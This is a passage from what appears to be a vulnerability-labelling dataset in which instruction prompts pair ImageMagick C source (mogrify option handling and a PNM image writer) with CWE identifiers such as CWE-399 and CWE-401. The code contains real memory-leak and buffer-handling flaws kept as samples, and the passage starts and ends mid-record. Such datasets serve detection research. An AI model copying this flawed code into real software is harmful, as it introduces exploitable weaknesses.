*images=mosaic_image;\n break;\n }\n break;\n }\n case 'p':\n {\n if (LocaleCompare(\"poly\",option+1) == 0)\n {\n char\n *args,\n token[MaxTextExtent];\n\n const char\n *p;\n\n double\n *arguments;\n\n Image\n *polynomial_image;\n\n register ssize_t\n x;\n\n size_t\n number_arguments;\n\n /*\n Polynomial image.\n */\n (void) SyncImageSettings(mogrify_info,*images);\n args=InterpretImageProperties(mogrify_info,*images,argv[i+1]);\n InheritException(exception,&(*images)->exception);\n if (args == (char *) NULL)\n break;\n p=(char *) args;\n for (x=0; *p != '\\0'; x++)\n {\n GetNextToken(p,&p,MaxTextExtent,token);\n if (*token == ',')\n GetNextToken(p,&p,MaxTextExtent,token);\n }\n number_arguments=(size_t) x;\n arguments=(double *) AcquireQuantumMemory(number_arguments,\n sizeof(*arguments));\n if (arguments == (double *) NULL)\n ThrowWandFatalException(ResourceLimitFatalError,\n \"MemoryAllocationFailed\",(*images)->filename);\n (void) memset(arguments,0,number_arguments*\n sizeof(*arguments));\n p=(char *) args;\n for (x=0; (x < (ssize_t) number_arguments) && (*p != '\\0'); x++)\n {\n GetNextToken(p,&p,MaxTextExtent,token);\n if (*token == ',')\n GetNextToken(p,&p,MaxTextExtent,token);\n arguments[x]=StringToDouble(token,(char **) NULL);\n }\n args=DestroyString(args);\n polynomial_image=PolynomialImageChannel(*images,channel,\n number_arguments >> 1,arguments,exception);\n arguments=(double *) RelinquishMagickMemory(arguments);\n if (polynomial_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=polynomial_image;\n break;\n }\n if (LocaleCompare(\"print\",option+1) == 0)\n {\n char\n *string;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n string=InterpretImageProperties(mogrify_info,*images,argv[i+1]);\n if (string == (char *) NULL)\n break;\n InheritException(exception,&(*images)->exception);\n (void) FormatLocaleFile(stdout,\"%s\",string);\n string=DestroyString(string);\n }\n if (LocaleCompare(\"process\",option+1) == 0)\n {\n char\n **arguments;\n\n int\n j,\n number_arguments;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n arguments=StringToArgv(argv[i+1],&number_arguments);\n if (arguments == (char **) NULL)\n break;\n if ((argc > 1) && (strchr(arguments[1],'=') != (char *) NULL))\n {\n char\n breaker,\n quote,\n *token;\n\n const char\n *arguments;\n\n int\n next,\n status;\n\n size_t\n length;\n\n TokenInfo\n *token_info;\n\n /*\n Support old style syntax, filter=\"-option arg\".\n */\n length=strlen(argv[i+1]);\n token=(char *) NULL;\n if (~length >= (MaxTextExtent-1))\n token=(char *) AcquireQuantumMemory(length+MaxTextExtent,\n sizeof(*token));\n if (token == (char *) NULL)\n break;\n next=0;\n arguments=argv[i+1];\n token_info=AcquireTokenInfo();\n status=Tokenizer(token_info,0,token,length,arguments,\"\",\"=\",\n \"\\\"\",'\\0',&breaker,&next,"e);\n token_info=DestroyTokenInfo(token_info);\n if (status == 0)\n {\n const char\n *argv;\n\n argv=(&(arguments[next]));\n (void) InvokeDynamicImageFilter(token,&(*images),1,&argv,\n exception);\n }\n token=DestroyString(token);\n break;\n }\n (void) SubstituteString(&arguments[1],\"-\",\"\");\n (void) InvokeDynamicImageFilter(arguments[1],&(*images),\n number_arguments-2,(const char **) arguments+2,exception);\n for (j=0; j < number_arguments; j++)\n arguments[j]=DestroyString(arguments[j]);\n arguments=(char **) RelinquishMagickMemory(arguments);\n break;\n }\n break;\n }\n case 'r':\n {\n if (LocaleCompare(\"reverse\",option+1) == 0)\n {\n ReverseImageList(images);\n InheritException(exception,&(*images)->exception);\n break;\n }\n break;\n }\n case 's':\n {\n if (LocaleCompare(\"smush\",option+1) == 0)\n {\n Image\n *smush_image;\n\n ssize_t\n offset;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n offset=(ssize_t) StringToLong(argv[i+1]);\n smush_image=SmushImages(*images,*option == '-' ? MagickTrue :\n MagickFalse,offset,exception);\n if (smush_image == (Image *) NULL)\n {\n status=MagickFalse;\n break;\n }\n *images=DestroyImageList(*images);\n *images=smush_image;\n break;\n }\n if (LocaleCompare(\"swap\",option+1) == 0)\n {\n Image\n *p,\n *q,\n *u,\n *v;\n\n ssize_t\n swap_index;\n\n index=(-1);\n swap_index=(-2);\n if (*option != '+')\n {\n GeometryInfo\n geometry_info;\n\n MagickStatusType\n flags;\n\n swap_index=(-1);\n flags=ParseGeometry(argv[i+1],&geometry_info);\n index=(ssize_t) geometry_info.rho;\n if ((flags & SigmaValue) != 0)\n swap_index=(ssize_t) geometry_info.sigma;\n }\n p=GetImageFromList(*images,index);\n q=GetImageFromList(*images,swap_index);\n if ((p == (Image *) NULL) || (q == (Image *) NULL))\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n OptionError,\"NoSuchImage\",\"`%s'\",(*images)->filename);\n status=MagickFalse;\n break;\n }\n if (p == q)\n break;\n u=CloneImage(p,0,0,MagickTrue,exception);\n if (u == (Image *) NULL)\n break;\n v=CloneImage(q,0,0,MagickTrue,exception);\n if (v == (Image *) NULL)\n {\n u=DestroyImage(u);\n break;\n }\n ReplaceImageInList(&p,v);\n ReplaceImageInList(&q,u);\n *images=GetFirstImageInList(q);\n break;\n }\n break;\n }\n case 'w':\n {\n if (LocaleCompare(\"write\",option+1) == 0)\n {\n char\n key[MaxTextExtent];\n\n Image\n *write_images;\n\n ImageInfo\n *write_info;\n\n (void) SyncImagesSettings(mogrify_info,*images);\n (void) FormatLocaleString(key,MaxTextExtent,\"cache:%s\",argv[i+1]);\n (void) DeleteImageRegistry(key);\n write_images=(*images);\n if (*option == '+')\n write_images=CloneImageList(*images,exception);\n write_info=CloneImageInfo(mogrify_info);\n status&=WriteImages(write_info,write_images,argv[i+1],exception);\n write_info=DestroyImageInfo(write_info);\n if (*option == '+')\n write_images=DestroyImageList(write_images);\n break;\n }\n break;\n }\n default:\n break;\n }\n i+=count;\n }\n quantize_info=DestroyQuantizeInfo(quantize_info);\n mogrify_info=DestroyImageInfo(mogrify_info);\n status&=MogrifyImageInfo(image_info,argc,argv,exception);\n return(status != 0 ? MagickTrue : MagickFalse);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1623'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WritePNMImage(const ImageInfo *image_info,Image *image)\n{\n char\n buffer[MaxTextExtent],\n format,\n magick[MaxTextExtent];\n\n const char\n *value;\n\n IndexPacket\n index;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n scene;\n\n QuantumAny\n pixel;\n\n QuantumInfo\n *quantum_info;\n\n QuantumType\n quantum_type;\n\n register unsigned char\n *pixels,\n *q;\n\n size_t\n extent,\n imageListLength,\n packet_size;\n\n ssize_t\n count,\n y;\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);\n if (status == MagickFalse)\n return(status);\n scene=0;\n imageListLength=GetImageListLength(image);\n do\n {\n QuantumAny\n max_value;\n\n /*\n Write PNM file header.\n */\n max_value=GetQuantumRange(image->depth);\n packet_size=3;\n quantum_type=RGBQuantum;\n (void) CopyMagickString(magick,image_info->magick,MaxTextExtent);\n switch (magick[1])\n {\n case 'A':\n case 'a':\n {\n format='7';\n break;\n }\n case 'B':\n case 'b':\n {\n format='4';\n if (image_info->compression == NoCompression)\n format='1';\n break;\n }\n case 'F':\n case 'f':\n {\n format='F';\n if (SetImageGray(image,&image->exception) != MagickFalse)\n format='f';\n break;\n }\n case 'G':\n case 'g':\n {\n format='5';\n if (image_info->compression == NoCompression)\n format='2';\n break;\n }\n case 'N':\n case 'n':\n {\n if ((image_info->type != TrueColorType) &&\n (SetImageGray(image,&image->exception) != MagickFalse))\n {\n format='5';\n if (image_info->compression == NoCompression)\n format='2';\n if (SetImageMonochrome(image,&image->exception) != MagickFalse)\n {\n format='4';\n if (image_info->compression == NoCompression)\n format='1';\n }\n break;\n }\n }\n default:\n {\n format='6';\n if (image_info->compression == NoCompression)\n format='3';\n break;\n }\n }\n (void) FormatLocaleString(buffer,MaxTextExtent,\"P%c\\n\",format);\n (void) WriteBlobString(image,buffer);\n value=GetImageProperty(image,\"comment\");\n if (value != (const char *) NULL)\n {\n register const char\n *p;\n\n /*\n Write comments to file.\n */\n (void) WriteBlobByte(image,'#');\n for (p=value; *p != '\\0'; p++)\n {\n (void) WriteBlobByte(image,(unsigned char) *p);\n if ((*p == '\\n') || (*p == '\\r'))\n (void) WriteBlobByte(image,'#');\n }\n (void) WriteBlobByte(image,'\\n');\n }\n if (format != '7')\n {\n (void) FormatLocaleString(buffer,MaxTextExtent,\"%.20g %.20g\\n\",\n (double) image->columns,(double) image->rows);\n (void) WriteBlobString(image,buffer);\n }\n else\n {\n char\n type[MaxTextExtent];\n\n /*\n PAM header.\n */\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"WIDTH %.20g\\nHEIGHT %.20g\\n\",(double) image->columns,(double)\n image->rows);\n (void) WriteBlobString(image,buffer);\n quantum_type=GetQuantumType(image,&image->exception);\n switch (quantum_type)\n {\n case CMYKQuantum:\n case CMYKAQuantum:\n {\n packet_size=4;\n (void) CopyMagickString(type,\"CMYK\",MaxTextExtent);\n break;\n }\n case GrayQuantum:\n case GrayAlphaQuantum:\n {\n packet_size=1;\n (void) CopyMagickString(type,\"GRAYSCALE\",MaxTextExtent);\n if (IdentifyImageMonochrome(image,&image->exception) != MagickFalse)\n (void) CopyMagickString(type,\"BLACKANDWHITE\",MaxTextExtent);\n break;\n }\n default:\n {\n quantum_type=RGBQuantum;\n if (image->matte != MagickFalse)\n quantum_type=RGBAQuantum;\n packet_size=3;\n (void) CopyMagickString(type,\"RGB\",MaxTextExtent);\n break;\n }\n }\n if (image->matte != MagickFalse)\n {\n packet_size++;\n (void) ConcatenateMagickString(type,\"_ALPHA\",MaxTextExtent);\n }\n if (image->depth > 32)\n image->depth=32;\n (void) FormatLocaleString(buffer,MaxTextExtent,\n \"DEPTH %.20g\\nMAXVAL %.20g\\n\",(double) packet_size,(double)\n ((MagickOffsetType) GetQuantumRange(image->depth)));\n (void) WriteBlobString(image,buffer);\n (void) FormatLocaleString(buffer,MaxTextExtent,\"TUPLTYPE %s\\nENDHDR\\n\",\n type);\n (void) WriteBlobString(image,buffer);\n }\n /*\n Convert to PNM raster pixels.\n */\n switch (format)\n {\n case '1':\n {\n unsigned char\n pixels[2048];\n\n /*\n Convert image to a PBM image.\n */\n (void) SetImageType(image,BilevelType);\n q=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n *q++=(unsigned char) (GetPixelLuma(image,p) >= (QuantumRange/2.0) ?\n '0' : '1');\n *q++=' ';\n if ((q-pixels+1) >= (ssize_t) sizeof(pixels))\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n }\n p++;\n }\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n if (q != pixels)\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n }\n break;\n }\n case '2':\n {\n unsigned char\n pixels[2048];\n\n /*\n Convert image to a PGM image.\n */\n if (image->depth <= 8)\n (void) WriteBlobString(image,\"255\\n\");\n else\n if (image->depth <= 16)\n (void) WriteBlobString(image,\"65535\\n\");\n else\n (void) WriteBlobString(image,\"4294967295\\n\");\n q=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n index=ClampToQuantum(GetPixelLuma(image,p));\n if (image->depth <= 8)\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\"%u \",\n ScaleQuantumToChar(index));\n else\n if (image->depth <= 16)\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\"%u \",\n ScaleQuantumToShort(index));\n else\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\"%u \",\n ScaleQuantumToLong(index));\n extent=(size_t) count;\n (void) strncpy((char *) q,buffer,extent);\n q+=extent;\n if ((q-pixels+extent+1) >= sizeof(pixels))\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n }\n p++;\n }\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n if (q != pixels)\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n }\n break;\n }\n case '3':\n {\n unsigned char\n pixels[2048];\n\n /*\n Convert image to a PNM image.\n */\n (void) TransformImageColorspace(image,sRGBColorspace);\n if (image->depth <= 8)\n (void) WriteBlobString(image,\"255\\n\");\n else\n if (image->depth <= 16)\n (void) WriteBlobString(image,\"65535\\n\");\n else\n (void) WriteBlobString(image,\"4294967295\\n\");\n q=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (image->depth <= 8)\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\n \"%u %u %u \",ScaleQuantumToChar(GetPixelRed(p)),\n ScaleQuantumToChar(GetPixelGreen(p)),\n ScaleQuantumToChar(GetPixelBlue(p)));\n else\n if (image->depth <= 16)\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\n \"%u %u %u \",ScaleQuantumToShort(GetPixelRed(p)),\n ScaleQuantumToShort(GetPixelGreen(p)),\n ScaleQuantumToShort(GetPixelBlue(p)));\n else\n count=(ssize_t) FormatLocaleString(buffer,MaxTextExtent,\n \"%u %u %u \",ScaleQuantumToLong(GetPixelRed(p)),\n ScaleQuantumToLong(GetPixelGreen(p)),\n ScaleQuantumToLong(GetPixelBlue(p)));\n extent=(size_t) count;\n (void) strncpy((char *) q,buffer,extent);\n q+=extent;\n if ((q-pixels+extent+1) >= sizeof(pixels))\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n }\n p++;\n }\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n q=pixels;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n if (q != pixels)\n {\n *q++='\\n';\n (void) WriteBlob(image,q-pixels,pixels);\n }\n break;\n }\n case '4':\n {\n /*\n Convert image to a PBM image.\n */\n (void) SetImageType(image,BilevelType);\n image->depth=1;\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n quantum_info->min_is_white=MagickTrue;\n pixels=GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n extent=ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,GrayQuantum,pixels,&image->exception);\n count=WriteBlob(image,extent,pixels);\n if (count != (ssize_t) extent)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n case '5':\n {\n /*\n Convert image to a PGM image.\n */\n if (image->depth > 32)\n image->depth=32;\n (void) FormatLocaleString(buffer,MaxTextExtent,\"%.20g\\n\",(double)\n ((MagickOffsetType) GetQuantumRange(image->depth)));\n (void) WriteBlobString(image,buffer);\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n quantum_info->min_is_white=MagickTrue;\n pixels=GetQuantumPixels(quantum_info);\n extent=GetQuantumExtent(image,quantum_info,GrayQuantum);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n q=pixels;\n switch (image->depth)\n {\n case 8:\n case 16:\n case 32:\n {\n extent=ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,GrayQuantum,pixels,&image->exception);\n break;\n }\n default:\n {\n if (image->depth <= 8)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (IsGrayPixel(p) == MagickFalse)\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n else\n {\n if (image->depth == 8)\n pixel=ScaleQuantumToChar(GetPixelRed(p));\n else\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n }\n q=PopCharPixel((unsigned char) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n if (image->depth <= 16)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (IsGrayPixel(p) == MagickFalse)\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n else\n {\n if (image->depth == 16)\n pixel=ScaleQuantumToShort(GetPixelRed(p));\n else\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n }\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (IsGrayPixel(p) == MagickFalse)\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n else\n {\n if (image->depth == 32)\n pixel=ScaleQuantumToLong(GetPixelRed(p));\n else\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n }\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n }\n count=WriteBlob(image,extent,pixels);\n if (count != (ssize_t) extent)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n case '6':\n {\n /*\n Convert image to a PNM image.\n */\n (void) TransformImageColorspace(image,sRGBColorspace);\n if (image->depth > 32)\n image->depth=32;\n (void) FormatLocaleString(buffer,MaxTextExtent,\"%.20g\\n\",(double)\n ((MagickOffsetType) GetQuantumRange(image->depth)));\n (void) WriteBlobString(image,buffer);\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n pixels=GetQuantumPixels(quantum_info);\n extent=GetQuantumExtent(image,quantum_info,quantum_type);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n q=pixels;\n switch (image->depth)\n {\n case 8:\n case 16:\n case 32:\n {\n extent=ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n break;\n }\n default:\n {\n if (image->depth <= 8)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n if (image->depth <= 16)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned short) pixel,q);\n p++;\n }\n extent=(size_t) (q-pixels);\n break;\n }\n }\n count=WriteBlob(image,extent,pixels);\n if (count != (ssize_t) extent)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n break;\n }\n case '7':\n {\n /*\n Convert image to a PAM.\n */\n if (image->depth > 32)\n image->depth=32;\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) SetQuantumEndian(image,quantum_info,MSBEndian);\n pixels=GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const IndexPacket\n *magick_restrict indexes;\n\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n indexes=GetVirtualIndexQueue(image);\n q=pixels;\n switch (image->depth)\n {\n case 8:\n case 16:\n case 32:\n {\n extent=ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n break;\n }\n default:\n {\n switch (quantum_type)\n {\n case GrayQuantum:\n case GrayAlphaQuantum:\n {\n if (image->depth <= 8)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=(unsigned char) ScaleQuantumToAny(\n GetPixelOpacity(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n }\n p++;\n }\n break;\n }\n if (image->depth <= 16)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=(unsigned char) ScaleQuantumToAny(\n GetPixelOpacity(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n }\n p++;\n }\n break;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(ClampToQuantum(\n GetPixelLuma(image,p)),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=(unsigned char) ScaleQuantumToAny(\n GetPixelOpacity(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n }\n p++;\n }\n break;\n }\n case CMYKQuantum:\n case CMYKAQuantum:\n {\n if (image->depth <= 8)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelIndex(indexes+x),\n max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n }\n p++;\n }\n break;\n }\n if (image->depth <= 16)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelIndex(indexes+x),\n max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n }\n p++;\n }\n break;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelIndex(indexes+x),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n }\n p++;\n }\n break;\n }\n default:\n {\n if (image->depth <= 8)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopCharPixel((unsigned char) pixel,q);\n }\n p++;\n }\n break;\n }\n if (image->depth <= 16)\n {\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopShortPixel(MSBEndian,(unsigned short) pixel,q);\n }\n p++;\n }\n break;\n }\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=ScaleQuantumToAny(GetPixelRed(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelGreen(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n pixel=ScaleQuantumToAny(GetPixelBlue(p),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n if (image->matte != MagickFalse)\n {\n pixel=ScaleQuantumToAny((Quantum) (QuantumRange-\n GetPixelOpacity(p)),max_value);\n q=PopLongPixel(MSBEndian,(unsigned int) pixel,q);\n }\n p++;\n }\n break;\n }\n }\n extent=(size_t) (q-pixels);\n break;\n }\n }\n count=WriteBlob(image,extent,pixels);\n if (count != 